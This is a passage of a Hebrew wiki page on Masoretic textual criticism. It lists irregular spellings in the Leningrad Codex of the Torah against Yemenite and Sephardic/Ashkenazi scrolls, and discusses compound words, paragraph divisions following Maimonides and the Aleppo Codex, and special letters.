#תרומה [[שמות כו/טעמים#כו כד|(כו,כד)]]: [תֹֽאֲמִם֮]* / ל=[תֹֽאֲמִים֮]
#תצוה [[שמות כח/טעמים#כח כח|(כח,כח1)]]: [הָאֵפוֹד֙]* / [הָאֵפֹד֙]!
#תצוה [[שמות כט/טעמים#כט כב|(כט,כב)]]: [עֲלֵיהֶ֔ן]* / ל=[עֲלֵהֶ֔ן]!
#תצוה [[שמות מ/טעמים#כט מ|(כט,מ)]]: [רְבִיעִ֥ת]* / [רְבִעִ֥ית]
#כי תשא [[שמות לב/טעמים#לב לד|(לב,לד)]]: [עֲלֵהֶ֖ם]* / ל=[עֲלֵיהֶ֖ם]!
#כי תשא [[שמות לד/טעמים#לד כד|(לד,כד)]]: [גְּבֻלֶ֑ךָ]* / ל=[גְּבוּלֶ֑ךָ]!
#ויקהל [[שמות לו/טעמים#לו יג|(לו,יג)]]: [הַיְרִיעֹ֜ת]* / ל=[הַיְרִעֹ֜ת]
#ויקהל [[שמות לו/טעמים#לו יט|(לו,יט)]]: [אֵילִ֖ם]* / ל=[אֵלִ֖ים]!
#ויקהל [[שמות לז/טעמים#לז ג|(לז,ג3)]]: [טַבָּעֹ֔ת]* / ל=[טַבָּע֔וֹת]
#ויקהל [[שמות לח/טעמים#לח י|(לח,י)]]: [הָעַמּוּדִ֛ים]* / ל=[הָעַמֻּדִ֛ים]! (=מ&quot;ק-ל [!] מול מ&quot;ג-ל ורוב כתבי־היד)
#פקודי [[שמות לט/טעמים#לט יג|(לט,יג)]]: [מִשְׁבְּצֹ֥ת]* / ל=[מִשְׁבְּצ֥וֹת]!
#פקודי [[שמות לט/טעמים#לט לה|(לט,לה)]]: [אֲר֥וֹן]* / ל=[אֲרֹ֥ן]!

'''ספר ויקרא''' (סה&quot;כ 14 תיבות בכתיב חריג):
#ויקרא [[ויקרא ה/טעמים#ה יא|(ה,יא)]]: [הִֽוא]* / ל=[הִֽיא]!
#שמיני [[ויקרא י/טעמים#י א|(י,א)]]: [וַיַּקְרִ֜יבוּ]* / ל=[וַיַּקְרִ֜בוּ]!
#שמיני [[ויקרא י/טעמים#י יג|(י,יג)]]: [קָד֔וֹשׁ]* / ל=[קָדֹ֔שׁ]!
#שמיני [[ויקרא יא/טעמים#יא ד|(יא,ד)]]: [וּמִמַּפְרִסֵ֖י]* / ל=[וּמִמַּפְרִיסֵ֖י]
#תזריע [[ויקרא יג/טעמים#יג ו|(יג,ו)]]: [הִ֔וא]* / ל=[הִ֔יא]!
#מצֹרע [[ויקרא יד/טעמים#יד י|(יד,י)]]: [תְּמִימִ֔ם]* / ל=[תְּמִימִ֔ים]
#אחרי מות [[ויקרא טז/טעמים#טז ח|(טז,ח)]]: [גֹּרָל֑וֹת]* / ל=[גּוֹרָל֑וֹת]!
#אחרי מות [[ויקרא יח/טעמים#יח כט|(יח,כט)]]: [הַתּוֹעֵבֹ֖ת]* / ל=[הַתּוֹעֵב֖וֹת]!
#קדֹשים [[ויקרא יט/טעמים#יט ד|(יט,ד)]]: [הָ֣אֱלִילִ֔ם]* / ל=[הָ֣אֱלִילִ֔ים]!
#קדֹשים [[ויקרא כ/טעמים#כ ו|(כ,ו)]]: [לִזְנֹ֖ת]* / ל=[לִזְנ֖וֹת]!
#קדֹשים [[ויקרא כ/טעמים#כ יח|(כ,יח)]]: [וְהִ֕וא]* / ל=[וְהִ֕יא]!
#אמֹר [[ויקרא כג/טעמים#כג כ|(כג,כ)]]: [הַבִּכֻּרִ֤ים]* / ל=[הַבִּכּוּרִ֤ים]!
#אמֹר [[ויקרא כג/טעמים#כג לח|(כג,לח)]]: [נִדְבֹ֣תֵיכֶ֔ם]* / ל=[נִדְב֣וֹתֵיכֶ֔ם]!
#בחֻקֹתי [[ויקרא כו/טעמים#כו מה|(כו,מה)]]: [לִהְי֥וֹת]* / ל=[לִהְיֹ֥ת]!

'''ספר במדבר''' (סה&quot;כ 30 תיבות בכתיב חריג):
#במדבר [[במדבר א/טעמים#|(א,יז)]]: [בְּשֵׁמֹֽת]* (=ספרי תימן) / ל=[בְּשֵׁמֽוֹת]! (=ספרי ספרד ואשכנז)
#במדבר [[במדבר ג/טעמים#ג ב|(ג,ב)]]: [הַבְּכֹ֣ר]* / ל=[הַבְּכ֣וֹר]!
#במדבר [[במדבר ג/טעמים#ג מב|(ג,מב)]]: [בְּכ֖וֹר]* / ל=[בְּכֹ֖ר]!
#במדבר [[במדבר ג/טעמים#ג מג|(ג,מג)]]: [שֵׁמֹ֛ת]* / ל=[שֵׁמ֛וֹת]!
#נשֹא [[במדבר ז/טעמים#ז ז|(ז,ז)]]: [הָעֲגָל֗וֹת]* / ל=[הָעֲגָלֹ֗ת]!
#נשֹא [[במדבר ז/טעמים#ז כג|(ז,כג)]]: [עַתֻּדִ֣ים]* / ל=[עַתּוּדִ֣ים]!
#בהעלֹתך [[במדבר ט/טעמים#ט ג|(ט,ג)]]: [בְּמֹעֲד֑וֹ]* / ל=[בְּמוֹעֲד֑וֹ]!
#בהעלֹתך [[במדבר ט/טעמים#ט ז|(ט,ז)]]: [הַקְרִ֜יב]* / ל=[הַקְרִ֜ב]!
#בהעלֹתך [[במדבר ט/טעמים#ט יז|(ט,יז)]]: [הֵעָל֤וֹת]* / ל=הֵעָלֹ֤ת]!
#בהעלֹתך [[במדבר י/טעמים#י ט|(י,ט)]]: [בַּחֲצֹצְרֹ֑ת]* / ל=[בַּחֲצֹצְר֑וֹת]!
#בהעלֹתך [[במדבר י/טעמים#י טז|(י,טז)]]: [חֵלֹֽן]* / ל=[חֵלֽוֹן]
#בהעלֹתך [[במדבר יא/טעמים#יא כו|(יא,כו)]]: [עֲלֵהֶ֣ם]* / ל=[עֲלֵיהֶ֣ם]!
#שלח [[במדבר יג/טעמים#יג כו|(יג,כו)]]: [אֹתָ֤ם]* / ל=[אוֹתָ֤ם]!
#שלח [[במדבר יג/טעמים#יג כט|(יג,כט3)]]: [יוֹשֵׁ֣ב]* / ל=[יֹשֵׁ֣ב]!
#שלח [[במדבר יג/טעמים#יג לב|(יג,לב)]]: [וַיֹּצִ֜יאוּ]* / ל=[וַיּוֹצִ֜יאוּ]!
#שלח [[במדבר טו/טעמים#טו לט|(טו,לט)]]: [תָת֜וּרוּ]* / [תָתֻ֜רוּ]
#חֻקת [[במדבר יט/טעמים#יט ז|(יט,ז)]]: [יָבֹ֣א]* / ל=[יָב֣וֹא]! (=מ&quot;ק-ל [!] מול מ&quot;ג-ל ורוב כתבי־היד)
#חֻקת [[במדבר כ/טעמים#כ יז|(כ,יז)]]: [גְּבֻלֶֽךָ]* / ל=[גְּבוּלֶֽךָ]!
#חֻקת [[במדבר כא/טעמים#כא יג|(כא,יג)]]: [מִגְּבֻ֣ל]* / ל=[מִגְּב֣וּל]
#חֻקת [[במדבר כא/טעמים#כא ל|(כא,ל)]]: [דִּיבֹ֑ן]* / ל=[דִּיב֑וֹן]!
#בלק [[במדבר כב/טעמים#כב ה|(כב,ה)]]: [בְּעֹ֗ר]*  (=ספרי תימן) / ל=[בְּע֗וֹר] (=ספרי ספרד ואשכנז)
#בלק [[במדבר כב/טעמים#כב לח|(כב,לח)]]: [הֲיָכֹ֥ל]* / ל=[הֲיָכ֥וֹל]!
#בלק [[במדבר כג/טעמים#כג כט|(כג,כט)]]: [אֵילִֽם]* / ל=[אֵילִֽים]!
#פינחס [[במדבר כו/טעמים#כו כד|(כו,כד)]]: [הַיָּשֻׁבִ֑י]* / ל=[הַיָּשׁוּבִ֑י]!
#מטות [[במדבר לב/טעמים#לב כב|(לב,כב)]]: [נְקִיִּ֛ם]* / ל=[נְקִיִּ֛ים]!
#מסעי [[במדבר לג/טעמים#לג לה|(לג,לה)]]: [בְּעֶצְיֹ֥ן]* / ל=[בְּעֶצְי֥וֹן]
#מסעי [[במדבר לג/טעמים#לג לו|(לג,לו)]]: [מֵעֶצְיֹ֣ן]* / ל=[מֵעֶצְי֣וֹן]
#מסעי [[במדבר לג/טעמים#לג נב|(לג,נב)]]: [בָּמוֹתָ֖ם]* / ל=[בָּמֹתָ֖ם] - כתבי־היד חלוקים ואין מסורה
#מסעי [[במדבר לד/טעמים#לד יא|(לד,יא2)]]: [הַגְּבֻ֔ל]* / ל=[הַגְּב֔וּל]
#מסעי [[במדבר לד/טעמים#לה יט|(לה,יט)]]: [יְמִתֶֽנּוּ]* / ל=[יְמִיתֶֽנּוּ]!

'''ספר דברים''' (סה&quot;כ 38 תיבות בכתיב חריג):
#דברים [[דברים א/טעמים#א טו|(א,טו)]]: [אוֹתָ֛ם]* / ל=[אֹתָ֛ם]!
#דברים [[דברים ב/טעמים#ב כג|(ב,כג)]]: [מִכַּפְתֹּ֔ר]* / ל=[מִכַּפְתּ֔וֹר]
#דברים [[דברים ג/טעמים#ג ה|(ג,ה)]]: [בְּצֻרֹ֛ת]* / ל=[בְּצֻר֛וֹת]!
#ואתחנן [[דברים ג/טעמים#ג כה|(ג,כה):]] [וְהַלְּבָנֹֽן]* / ל=[וְהַלְּבָנֽוֹן]!
#ואתחנן [[דברים ד/טעמים#ד ג|(ד,ג)]]: [הָֽרֹא֔וֹת]* / ל=[הָֽרֹאֹ֔ת]
#ואתחנן [[דברים ד/טעמים#ד מב|(ד,מב)]]: [מִתְּמֹ֣ל]* / ל=[מִתְּמ֣וֹל]!
#ואתחנן [[דברים ד/טעמים#ד מב|(ד,מב)]]: [שִׁלְשֹׁ֑ם]* / ל=[שִׁלְשׁ֑וֹם]!
#ואתחנן [[דברים ו/טעמים#ו ט|(ו,ט)]]: [מְזֻז֥וֹת]* / ל=[מְזוּזֹ֥ת]
#ואתחנן [[דברים ו/טעמים#ו כא|(ו,כא)]]: [וַיֹּצִיאֵ֧נוּ]* / ל=[וַיּוֹצִיאֵ֧נוּ]!
#עקב [[דברים ז/טעמים#ז טז|(ז,טז)]]: [תָח֥וֹס]* / ל=[תָחֹ֥ס]!
#עקב [[דברים ח/טעמים#ח ב|(ח,ב)]]: [הוֹלִֽיכְךָ֜]* / ל=[הֹלִֽיכֲךָ֜]
#עקב [[דברים ח/טעמים#ח ג|(ח,ג)]]: [הוֹדִֽיעֲךָ֗]* / ל=[הוֹדִֽעֲךָ֗]
#עקב [[דברים ח/טעמים#ח יב|(ח,יב)]]: [טֹבִ֛ים]* / ל=[טוֹבִ֛ים]!
#עקב [[דברים ט/טעמים#ט טו|(ט,טו)]]: [לוּחֹ֣ת]* / ל=[לֻחֹ֣ת]
#עקב [[דברים י/טעמים#י יא|(י,יא)]]: [וְיִֽירְשׁ֣וּ]* / ל=[וְיִֽרְשׁ֣וּ]!
#ראה [[דברים יב/טעמים#יב כ|(יב,כ)]]: [גְּבֻֽלְךָ֮]* / ל=[גְּבֽוּלְךָ֮]!
#שֹפטים [[דברים יח/טעמים#יח כב|(יח,כב)]]: [יָבֹ֔א]* / ל=[יָב֔וֹא]!
#שֹפטים [[דברים כ/טעמים#כ א|(כ,א)]]: [אֹיְבֶ֗ךָ]* / ל=אֹיְבֶ֗יךָ]!
#כי־תצא [[דברים כא/טעמים#כא טו|(כא,טו)]]: [הַבְּכֹ֖ר]* / ל=[הַבְּכ֖וֹר]!
#כי־תצא [[דברים כב/טעמים#כב יד|(כב,יד)]]: [וְהוֹצִ֥א]* / ל=[וְהוֹצִ֥יא]!
#כי־תצא [[דברים כד/טעמים#כד יג|(כד,יג)]]: [כְּב֣וֹא]* / ל=[כְּבֹ֣א]!
#כי־תצא [[דברים כה/טעמים#כה ז|(כה,ז)]]: [מֵאֵ֨ן]* / ל=[מֵאֵ֨ין]
#כי־תבוא [[דברים כח/טעמים#כח יח|(כח,יח)]]: [וְעַשְׁתְּרֹ֥ת]* / ל=[וְעַשְׁתְּר֥וֹת]!
#כי־תבוא [[דברים כח/טעמים#כח מט|(כח,מט)]]: [מֵרָחֹק֙]* / ל=[מֵרָחוֹק֙]!
#כי־תבוא [[דברים כח/טעמים#כח נב|(כח,נב)]]: [הַגְּבֹהֹ֣ת]* / ל=[הַגְּבֹה֣וֹת]
#כי־תבוא [[דברים כח/טעמים#כח נח|(כח,נח)]]: [הַכְּתֻבִ֖ים]* / ל=[הַכְּתוּבִ֖ים]!
#כי־תבוא [[דברים כח/טעמים#כח נט|(כח,נט)]]: [גְּדֹלֹת֙]* / ל=[גְּדֹלוֹת֙]!
#נִצבים [[דברים ל/טעמים#ל ט|(ל,ט)]]: [לְטֹבָ֑ה]* / ל=[לְטוֹבָ֑ה]!
#נִצבים [[דברים ל/טעמים#ל יח|(ל,יח)]]: [לָב֥וֹא]* / ל=[לָבֹ֥א]!
#נִצבים [[דברים ל/טעמים#ל יט|(ל,יט)]]: [הַעִדֹ֨תִי]* / ל=[הַעִידֹ֨תִי]!
#האזינו [[דברים לב/טעמים#לב ז|(לב,ז)]]: [דֹּר־וָדֹ֑ר]* / ל=[דּוֹר־וָד֑וֹר]
#האזינו [[דברים לב/טעמים#לב כד|(לב,כד)]]: [בְּהֵמֹת֙]* / ל=[בְּהֵמוֹת֙]
#האזינו [[דברים לב/טעמים#לב כז|(לב,כז)]]: [יָדֵ֣נוּ]* / ל=[יָדֵ֣ינוּ]!
#האזינו [[דברים לב/טעמים#לב לד|(לב,לד)]]: [חָת֖וּם]* / ל=[חָתֻ֖ם]!
#וזאת הברכה [[דברים לג/טעמים#לג יב|(לג,יב)]]: [כְּתֵפָ֖יו]* / ל=[כְּתֵיפָ֖יו]
#וזאת הברכה [[דברים לג/טעמים#לג יט|(לג,יט)]]: [וּשְׂפֻנֵ֖י]* / ל=[וּשְׂפוּנֵ֖י]
#וזאת הברכה [[דברים לג/טעמים#לג כה|(לג,כה)]]: [מִנְעָלֶ֑ךָ]* / ל=[מִנְעָלֶ֑יךָ]
#וזאת הברכה [[דברים לד/טעמים#לד יא|(לד,יא)]]: [הָ֨אֹתֹ֜ת]* / ל=[הָ֨אֹת֜וֹת]!

===סיכום התוצאות===

'''נוסח הפנים בכתי&quot;ל מול המסורות והמסירות:''' יש כ-127 מקומות בתורה (אחד מהם ספק) שבהם הכתיב בכתי&quot;ל מנוגד לספרי תימן (המשקפים באותיותיהם את הערות המסורה ואת רוב המסירות). ברוב המכריע של המקומות, סותר הכתיב בפנים כתי&quot;ל אף את הערות המסורה שבתוך כתי&quot;ל עצמו (כל הפריטים שיש בהם סימן קריאה [!]). ב-4 מקומות יש תמיכה בנוסח הכתיב החריג של כתי&quot;ל מתוך המסורה הקטנה שבו, כאשר ב-3 מהם יש סתירה פנימית בתוך כתי&quot;ל עצמו בין המסורה הקטנה לבין המסורה הגדולה. מתברר שמעבר לטעויות הרבות בנוסח האותיות של כתי&quot;ל, יש גם טעויות אחדות אף במסורה הקטנה שבו. אמנם ככלל מהווה מערכת המסורה בכתי&quot;ל (הגדולה והקטנה כאחת) עדות חשובה ביותר לנוסח המסורה, והיא הרבה יותר מדויקת לרוב מאשר נוסח הפנים שבאותו כתב־יד.

'''כתי&quot;ל מול ספרי ספרד ואשכנז ומול ספרי תימן:''' ב-2 מקומות (במדבר א,יז; כב,ה) מתוך 9 מסכים נוסח הפנים של כתי&quot;ל עם ספרי התורה של ספרד ואשכנז, לעומת נוסח תימן. בשאר 7 המקומות שבהם יש שינויי כתיב בספרי התורה בין נוסח ספרד ואשכנז לבין נוסח תימן (לפירוט מלא ראו להלן [[#מסורת הסופרים בתורה: הערות מיוחדות|ברשימת ההערות המיוחדות]] בצבע אדום), מסכים כתי&quot;ל עם נוסח תימן.

'''כתי&quot;ל במקומות אחדים המוטלים בספק:''' לפי שיטת ברויאר בספרו (שיטת הערות המסורה ביחד עם רוב המסירות), נשארו רק שש אותיות בכל התורה שבהן השיטה הכללית אינה יכולה להכריע, וכתיב המסורה מוטל בספק (אם לא לוקחים בחשבון את ספרי תימן):{{הערה|ברויאר, שם, עמ' 84 (פרק ג סעיף 1.ד). הנתונים נכונים לעת כתיבת ספרו, אמנם מאז נבדקו כתבי־יד נוספים, ובמיוחד נתגלו עדויות חדשות על נוסחו של כתר ארם צובה בתורה, ועל פיהם כבר ניתן לקבוע בוודאות את הנוסח בחלק מהמקומות, כך שהם כבר לא מהווים ספקות.}}
#בראשית, ויגש [[בראשית מו/טעמים#מו יב|(מו,יב)]]: [חֶצְרֹ֥ן]* (=ספרי כל העדות) / ל=[חֶצְר֥וֹן]
#שמות, בשלח [[שמות יד/טעמים#יד כב|(יד,כב)]]: [חוֹמָ֔ה]* (=ספרי כל העדות) / ל=[חֹמָ֔ה]!
#במדבר, במדבר [[במדבר א/טעמים#א יז|(א,יז)]]: [בְּשֵׁמֹֽת]* (=ספרי תימן) / ל=[בְּשֵׁמֽוֹת]! (=ספרי ספרד ואשכנז)
#במדבר, בהעלֹתך [[במדבר י/טעמים#י י|(י,י)]]: ל=[חׇדְשֵׁיכֶם֒]* (=ספרי תימן) / [חָדְשֵׁכֶם֒] (=ספרי ספרד ואשכנז)
#במדבר, בלק [[במדבר כב/טעמים#כב ה|(כב,ה)]]: [בְּעֹ֗ר]* (=ספרי תימן) / ל=[בְּע֗וֹר] (=ספרי ספרד ואשכנז)
#במדבר, מסעי [[במדבר לג/טעמים#לג נב|(לג,נב)]]: [בָּמוֹתָ֖ם]* (=ספרי כל העדות) / ל=[בָּמֹתָ֖ם] (=רוב כתבי־היד ואין מסורה!)

לפי זה יוצא ש-3 משינויי הכתיב בין ספרי התורה, הם גם ברשימת המקומות המוטלים בספק על פי שיטת ברויאר (בששת שינויי הכתיב הנשארים יש יתרון מוחלט לנוסח תימן).{{הערה|ברויאר, עמ' 87.}} בשנים משלושת המקומות הללו ([[במדבר א/טעמים#א יז|במדבר א,יז]]; [[במדבר כב/טעמים#כב ה|כב,ה]]) מביא כתי&quot;ל את הנוסח שנמצא בספרי אשכנז וספרד, ואילו במקום אחד ([[במדבר י/טעמים#י י|במדבר י,י]]) נתמך הנוסח בכתי&quot;ל על ידי נוסח תימן. נראה שב-3 התיבות הללו, ואף בכל ששת המקומות המוטלים בספק, לא מדובר בסתם טעות סופר מתוך חוסר תשומת לב, אלא בתיבות שבהן הסופרים התקשו להחליט באופן מודע. כלומר: אין כאן מחלוקת בין מסירות אלא במחלוקת בין מסורות.{{הערה|ע&quot;פ ברויאר, עמ' 86 (ג.2).}}

===תיבות מחוברות בתורה===

'''ברשימה הבאה ציינו את כל התיבות המחוברות בתורה (סה&quot;כ 11 תיבות), שלגבי כתיבתן יש הבדלים במקורות הבאים: ספרי ספרד ואשכנז, ספרי תימן, כתר ארם צובה (או עדויות לגביו), כתי&quot;ל.'''
#בראשית, לך־לך [[בראשית יד/טעמים#יד יז|(יד,יז)]]: [כְּדׇרְלָעֹ֔מֶר]* / ל=[כְּדָר־לָעֹ֔מֶר]
#בראשית, מקץ [[בראשית מא/טעמים#מא מה|(מא,מה)]]: [פּ֥וֹטִי פֶ֛רַע]*=ל / [פּֽוֹטִיפֶ֛רַע] (=ספרי תימן; וראו ב[[#מסורת הסופרים בתורה: הערות מיוחדות|הערות מיוחדות על תורה]])
#בראשית, מקץ [[בראשית מא/טעמים#מא נ|(מא,נ)]]: [פּ֥וֹטִי פֶ֖רַע]*=ל / [פּֽוֹטִיפֶ֖רַע] (=ספרי תימן; וראו ב[[#מסורת הסופרים בתורה: הערות מיוחדות|הערות מיוחדות על תורה]])
#בראשית, ויגש [[בראשית מו/טעמים#מו כ|(מו,כ)]]: [פּ֥וֹטִי פֶ֖רַע]*=ל / [פּֽוֹטִיפֶ֖רַע] (=ספרי תימן; וראו ב[[#מסורת הסופרים בתורה: הערות מיוחדות|הערות מיוחדות על תורה]])
#שמות, בשלח [[שמות יז/טעמים#יז טז|(יז,טז)]]: [כֵּ֣ס יָ֔הּ]*=ל (=ספרי תימן וספרד ואשכנז) / [כֵּ֣סְיָ֔הּ] (=א(ס); וראו ב[[#מסורת הסופרים בתורה: הערות מיוחדות|הערות מיוחדות על התורה]])
#במדבר, במדבר [[במדבר א/טעמים#א י|(א,י)]]: [פְּדָהצֽוּר]*=ל? / ל=[פְּדָה צֽוּר]?
#במדבר, במדבר [[במדבר ב/טעמים#ב יב|(ב,יב)]]: [צוּרִֽישַׁדָּֽי]* / ל=[צוּרִֽי־שַׁדָּֽי]
#במדבר, נשֹא [[במדבר ז/טעמים#ז נד|(ז,נד)]]: [פְּדָהצֽוּר]* / ל=[פְּדָה־צֽוּר]
#במדבר, בהעלֹתך [[במדבר י/טעמים#י יט|(י,יט)]]: [צוּרִֽישַׁדָּֽי]*=ל? / ל=[צוּרִֽי שַׁדָּֽי]?
#במדבר, בהעלֹתך [[במדבר י/טעמים#י כג|(י,כג)]]: [פְּדָהצֽוּר]* / ל=[פְּדָה־צֽוּר]
#דברים, האזינו [[דברים לב/טעמים#לב ו|(לב,ו)]]: [{{מ:אות-ג|הַ}} לְיְהֹוָה֙]* / א=[הַ לְיְהוָה֙] / ל=[הֲ־לַיהוָה֙] / ספרי תימן=[{{מ:אות-ג|הַֽ}}לְיהֹוָה֙] (וראו גם ב[[#מסורת הסופרים בתורה: הערות מיוחדות|הערות מיוחדות על התורה]] וב[[#ה לה'|רשימת האותיות הגדולות]])

משתי התיבות &quot;כס[ ]יה&quot; ו&quot;ה[ ]ליהוה&quot; מתברר שאין בספרי תימן עדות מוחלטת לגבי נוסח הכתר בתחום המסוים של התיבות המחוברות. נראה אם כן שאותו דבר נכון גם לגבי תיבת &quot;פוטי[ ]פרע&quot; (ב-3 מקומות). בכל המקומות הללו הבאנו את הנוסח המקובל בספרי ספרד ואשכנז בפנים של המהדורה, ואילו את הנוסח בספרי תימן (&quot;פוטיפרע&quot; ו&quot;{{מ:אות-ג|ה}}ליהוה&quot;), או של כתר ארם צובה מול ספרי התורה בכל העדות (&quot;כסיה&quot;), ציינו ב[[#מסורת הסופרים בתורה: הערות מיוחדות|הערות מיוחדות]].

בשאר כל המקומות, שבהם שונה הנוסח בכתי&quot;ל מספרי התורה בכל העדות ומכתר ארם צובה (ואפילו בספק), תיעדנו את הנתונים לגבי אותה תיבה בתוך הערות הנוסח שבדפי העריכה.

==מסורת הסופרים בתורה: חלוקת הפרשות==

הרווחים של חלוקת הפרשות בולטים בנוסח המסורה, וחלוקה זו מהווה מרכיב מהותי ממנו. אמנם לא כל רווח הבא לציין את תחילתה של פרשה חדשה מופיע באופן אחיד בכל כתבי־היד הטברנים, ונראה שלא הייתה קביעה סמכותית בעניין זה.{{הערה|יש להשוות את המציאות הזאת המשתקפת במסורה הטברנית אל המצב השורר במסורה הבבלית: באחרונה אנחנו מוצאים רשימות של פרשות.}} האפיון המשותף הוא רק בקווים כלליים: רוב הזמן יש רווח של פרשה באותם מקומות בכתבי־היד השונים ובאותה צורה, אמנם יש עשרות רבות של שינויים בחלוקת הפרשות בתורה בין כתבי־היד הקרובים לכתר ובכתי&quot;ל בפרט.{{הערה|המחקר בתחום זה מועט באופן יחסי, ולא קיים אפילו רשימת תיעוד מלא להבדלים בחלוקת הפרשות בין כתבי־היד. תיעוד לחלק מהספרים (או לחלק מכתבי־היד) ניתן למצוא בכרכים שכבר יצאו לאור משתי סדרות: מפעל המקרא של האוניברסיטה העברית (יחזקאל ותרי-עשר), ו-Biblia Hebraica Quinta. מספר חוקרים נגעו מעט במשמעותה הפרשנית של חלוקת הפרשות. אולם נראה שהדבר החשוב ביותר ברווחים של חלוקת הפרשות הוא לא בהיסטוריה של מסירתם, וגם לא בפרשנות המקומית הגלומה בהם, אלא במשמעותם החווייתית בתוך [[ויקיטקסט:מבוא למקרא על פי המסורה/פרק א#מהו &quot;מִקְרָא&quot;?|הקריאה בתנ&quot;ך]], וכדברי המדרש בתחילת תורת כהנים: &quot;‫וכי מה היו הפסקות משמשות?‬ ‫ליתן רווח למשה להתבונן‬ ‫בין פרשה לפרשה‬ ‫ובין עניין לעניין‪.‬‬ ‫והרי דברים קל וחומר‪:‬‬ ‫ומה אם אדם שהוא שומע‬ ‫מפי הקדוש ברוך הוא‬ ‫ומדבר ברוח הקודש‬ ‫צריך להתבונן בין פרשה לפרשה‬ ‫ובין ענין לענין‪,‬‬ על אחת כמה וכמה‬ ‫הדיוט שהוא שומע מן הדיוט&quot; (‬מתוך הפתיחה ל&quot;תורת כהנים&quot; ב&quot;דבורא דנדבה&quot;).}}

המצב מאז סוף ימי הביניים שונה לחלוטין: שוררת מאז ועד היום אחידות כמעט-מוחלטת בחלוקת הפרשות בספרי התורה מכל העדות. אחדות זו היא תוצאה ישירה של מפעל הפסיקה לרמב&quot;ם ב[[רמב&quot;ם הלכות תפילין ומזוזה וספר תורה ח|הלכות ספר תורה (פרק ח')]]. בגלל שהרמב&quot;ם קבע את חלוקת הפרשות ע&quot;פ כתר ארם צובה, הביאה פסיקתו לקרבתם של כמעט כל ספרי התורה לכתר בחלוקה זו.{{הערה|לסיכום של הנושא ראו במבוא ל'''מקראות גדולות הכתר''' (עמ' *50-*52), שם ציינו שבתקופת בעלי המסורה עדיין לא נקבע נוסח מחייב לפרשות הפתוחות והסתומות, וכך הייתה המציאות עד שבעלי ההלכה החלו לעסוק בעניין זה באינטנסיביות (ובראשם הרמב&quot;ם שקבע את הפרשות לפי כתר ארם צובה). יש להשוות את התופעה ל[[#מסורת הסופרים בתורה: אותיות מיוחדות|אותיות הגדולות והקטנות]], שלגביהן לא היה יישום לרוב בכתבי־היד הטברנים, אבל בעקבות העיסוק הרב בעניין הזה על ידי חכמי המסורה המאוחרים הן הפכו להיות מרכיב בולט של נוסח המסורה.}}

חלוקת הפרשות ב[http://tanach.us/ODTFiles/ הקלדת וסטמינסטר] היא על פי כתב־יד לנינגרד, וכאמור שונה חלוקה זו בעשרות מקומות ממה שמקובל בספרי התורה, וממה שנפסק להלכה ברמב&quot;ם ע&quot;פ כתר ארם צובה. לכן חלוקת הפרשות בכתי&quot;ל עברה הגהה קפדנית במהדורתנו כדי שתתאים לחלוקה מקובלת בספרי התורה, ורשמנו את כל השינויים בתיעוד הנוסח.

בנוסף, יש פרשה אחת שבספרי התורה מסמנים אותה בשני מקומות שונים (תימנים ב[[ויקרא ז/טעמים#ז כב|ויקרא ז,כב]] וספרדים ואשכנזים ב[[ויקרא ז/טעמים#ז כח|ז,כח]]), ובכתר ארם צובה היה כנראה רווח בשניהם לפי עדויות ומקבילות. ובמקום אחד חריג יש פרשה פתוחה בספרי התורה, אך נראה על־פי עדויות שבכתר הפרשה היתה סתומה ([[שמות לד/טעמים#לד א|שמות לד,א]]). ויש שני מקומות חריגים שבהם אין פרשה בספרי התורה, אך נראה על־פי עדויות ו/או מקבילות שבכתר היתה פרשה ([[שמות כו/טעמים#כו ז|שמות כו,ז]]; [[דברים כז/טעמים#כז כ|דברים כז,כ]]). בכל אחד מהמקומות האלה תהיה הערה מיוחדת במהדורתנו, והם:
#בספר שמות, פרשת תרומה [[שמות כו/טעמים#כו ז|(כו,ז)]], בפסוק &quot;וְעָשִׂ֙יתָ֙ יְרִיעֹ֣ת עִזִּ֔ים&quot;, נעיר: &quot;ספק פרשה פתוחה בכתר ארם צובה&quot; (אין כאן פרשה ברשימת הרמב&quot;ם ובעקבותיה בספרי התורה).
#בספר שמות, פרשת כי תשא [[שמות לד/טעמים#לד א|(לד,א)]], בפסוק &quot;וַיֹּ֤אמֶר... פְּסׇל־לְךָ֛&quot;, נעיר: &quot;ספק פרשה סתומה בכתר ארם צובה&quot; (בספרי התורה יש פרשה פתוחה לפי רשימת הרמב&quot;ם).
#בספר ויקרא, פרשת צו [[ויקרא ז/טעמים#ז כב|(ז,כב)]], בפסוק &quot;וַיְדַבֵּ֥ר... דַּבֵּ֛ר... כׇּל־חֵ֜לֶב&quot;, נעיר: &quot;אין פרשה בספרי ספרד ואשכנז&quot; (בספרי תימן יש פרשה לפי פירוש אפשרי לדברי הרמב&quot;ם, וכנראה שבכתר ארם צובה גם הייתה כאן פרשה).
#בספר ויקרא, פרשת צו [[ויקרא ז/טעמים#ז כח|(ז,כח)]], בפסוק &quot;וַיְדַבֵּ֥ר... דַּבֵּ֛ר... הַמַּקְרִ֞יב&quot;, נעיר: &quot;אין פרשה בספרי תימן&quot; (בספרי אשכנז וספרד יש פרשה לפי פירוש אפשרי לדברי הרמב&quot;ם, ובכתר ארם צובה גם הייתה כאן פרשה).
#בספר דברים, פרשת כי תבוא [[דברים כז/טעמים#כז כ|(כז,כ)]], בפסוק &quot;אָר֗וּר שֹׁכֵב֙ עִם־אֵ֣שֶׁת אָבִ֔יו&quot;, נעיר: &quot;ספק פרשה סתומה בכתר ארם צובה&quot; (אין כאן פרשה ברשימת הרמב&quot;ם ובעקבותיה בספרי התורה).

למידע נוסף על החלוקה לפרשות בכל המקרא ראו [[:w:en:Parashah|כאן]] (באנגלית); מידע זה ישמש בסיס למהדורתנו.

למידע על חלוקת הפרשות במהדורתנו בנביאים וכתובים, ראו '''[[ויקיטקסט:מבוא למקרא על פי המסורה/פרק ד#שחזור חלוקת הפרשות בנביאים וכתובים|כאן]]''' (למקומות החסרים בכתר) ו'''[[ויקיטקסט:מבוא למקרא על פי המסורה/פרק ה|כאן]]''' (למקומות הקיימים בכתר).

==מסורת הסופרים בתורה: אותיות מיוחדות==
{{תצוגת כתי&quot;ל|רשימת האותיות הגדולות והקטנות במסורה הסופית (מ&quot;ס-ל)|File:Leningrad-codex-25-mesorah.pdf|5}}
[[קובץ:Ochlah-W'ochlah-1864-HB36175.pdf|thumb|רשימת האותיות הגדולות והקטנות בספר &quot;אכלה ואכלה&quot;, מהדורת פרנסדורף (הנובר, תרכ&quot;ד).|page=90]]
[[קובץ:MG1525D.djvu|thumb|רשימת האותיות הגדולות במסורה הגדולה על תחילת ספר דברי הימים שבמקראות הגדולות (דפוס ונציה, רפ&quot;ד-רפ&quot;ו).|page=401]]

===אותיות גדולות וקטנות===

